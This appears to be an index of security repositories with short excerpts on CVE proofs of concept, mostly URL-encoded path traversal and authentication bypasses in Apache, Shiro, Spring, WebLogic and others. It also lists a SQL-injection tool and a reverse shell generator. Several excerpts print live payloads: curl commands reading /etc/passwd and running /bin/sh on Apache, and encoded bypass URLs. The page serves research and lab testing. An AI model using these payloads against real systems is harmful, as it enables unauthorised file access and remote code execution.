CVE-2020-13933

CVE-2020-13933 Lab Shiro 1.6.0 Authentication Bypass Vulnerability PoC http://127.0.0.1:8080/res/%3bpoc Lab Environment Code Description ShiroConfig.java: Permission configuration: when requesting /res/ resources, it returns a 302 redirect to the login page for authentication. NameController.java...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Follow us Vulnmachines YouTube Twitter...

cve-2021-42013-httpd

Dockerisation of a Vulnerability: cve-2021-42013 This project aims to dockerize a specific vulnerability using Docker. The goal is to create an isolated environment in which the vulnerability can be exploited and tested securely. Vulnerable Application Apache HTTP Server 2.4.50 - Remote Code...

ghauri

Like Ghauri, consider supporting the developer Ghauri An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws. Requirements Python 3 Python pip3 Installation cd to ghauri directory. install requirements: python3 -m pip install --upgrade ...

Gradio - Open Redirect

Gradio allows an open redirect bypass via URL encoding, enabling attackers to redirect users to malicious sites. This can lead to phishing attacks and loss of trust in the application. id: CVE-2024-8021 info: name: Gradio - Open Redirect author: DhiyaneshDK severity: medium description: | Gradio...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

CVE-2022-22978

CVE-2022-22978 Spring Security Pass Spring Security 成功 http://localhost:9090/login%0a Pass Spring Security with SayMyName 失敗 http://localhost:9090/name%0d Bypass Spring Security with Custom RBAC 失敗 http://localhost:9090/admin/admin%0d Bypass Spring Security with Annotation RBAC 失敗...

CVE-2021-42013

CVE-2021-42013 — PoC: Path Traversal + RCE via modcgi patch bypass For use only in controlled and own environments. Do not use against systems without authorization. Description PoC developed to demonstrate CVE-2021-42013 , present in Apache HTTP Server 2.4.50. This CVE is the bypass of the patch...

linux-apache-fix-mod_rewrite-spaceInURL

FIX linux Ubuntu Apache modrewrite space In URL After the last Apache Upgrade, I've had some issues with "spaces in URL" in modrewrite. 2023-04-25 - upgrade apache2:amd64 2.4.38-3+deb10u9 2.4.38-3+deb10u10 The URLs that contain "space" and have been replaced with %20 start to return error 403 by...

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic Unauthorized bypass RCE CVE-2020-14882 Oracle Weblogic Unauthorized bypass RCE test script it works on Python3 Requests POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Geck...

cve-2023-20198-poc-cisco

CVE-2023-20198-poc CVE-2023-20198 is a critical vulnerability in the Cisco IOS XE software Web UI feature that allows unauthenticated remote attackers to create accounts with privilege level 15 on affected systems, thereby gaining full control of the device. The vulnerability primarily stems from...

POC-CVE-2021-41773

POC-CVE-2021-41773 On the 5th of October 2021, a CVE detailing a path traversal attack on Apache HTTP Server v2.4.49 was released. Assigned the number CVE-2021-41773, it was released with the following description: A flaw was found in a change made to path normalization in Apache HTTP Server...

CVE-2021-41773

CVE-2021-41773 Playground This is a small Docker recipe for setting up a Debian bookworm based container with an instance of the Apache HTTPd 2.4.49 that is vulnerable to CVE-2021-41773. CGI has been explicitly enabled so it can be used to test/verify Local file Disclosure behavior as well as...

Scanner-CVE-2021-41773

Scanner-CVE-2021-41773 A automatic scanner to apache 2.4.49 • run: go run main.go OR go build main.go && ./main • you can customize your payload • vulnerable hosts are saved Make your lab: 1. Pull Image: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid 2. Run Image: sudo docker run -dit -p...

CVE-2026-76504-Proof-of-concept

Cisco Catalyst SD-WAN Manager — CVE-2026-76504 Unauthenticated authentication bypass caused by improper handling of URL encoding CWE-177 in the API session management layer. A crafted request reaches a privileged endpoint and is treated as an authenticated admin session. Overview The vulnerabilit...

CVE-2026-85706-gitlab-poc

CVE-2026-85706 Description GitLab CE/EE unauthenticated arbitrary file read vulnerability CVE-2026-85706. Affected versions: GitLab CE/EE 18.7 – 19.1.7 GitLab CE/EE 19.2.0 – 19.2.5 GitLab CE/EE 19.3.0 – 19.3.1 Patched versions: GitLab 19.1.8 GitLab 19.2.6 GitLab 19.3.2 Vulnerability Details The...

CVE-2021-42013

CVE-2021-42013 Contributor 석은호@eunho87 CVE-2021-42013 Apache HTTP Server Path Traversal Vulnerability Summary A bug in the path normalization handling of Apache HTTP Server 2.4.50 allows arbitrary file reading or remote code execution without authentication. This occurs due to an incomplete patch...

CVE-2021-41773

CVE-2021-41773 Apache httpd only 2.4.49 For educational purposes only. See Reference for the details. Run $ git clone https://github.com/masahiro331/CVE-2021-41773.git $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run -d -p 8080:80 cve-2021-41773 Exploit This vulnerability affec...

PoC-CVE-2025-12097

CVE-2025-12097 Description NI modification of Appweb server contains a directory traversal vulnerability that allows an attacker to read arbitrary files on the server. URI path /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini will be converted to: pathInfo cchar...

CVE-2026-19794

CVE-2026-19794 WP-Stats = 2.56 - Unauthenticated Stored Cross-Site Scripting Plugin URL https://wordpress.org/plugins/wp-stats/ Description Unauthenticated reflected XSS in the statsauthor GET parameter of statspage. The sanitization filter striptags is applied before urldecode, allowing an...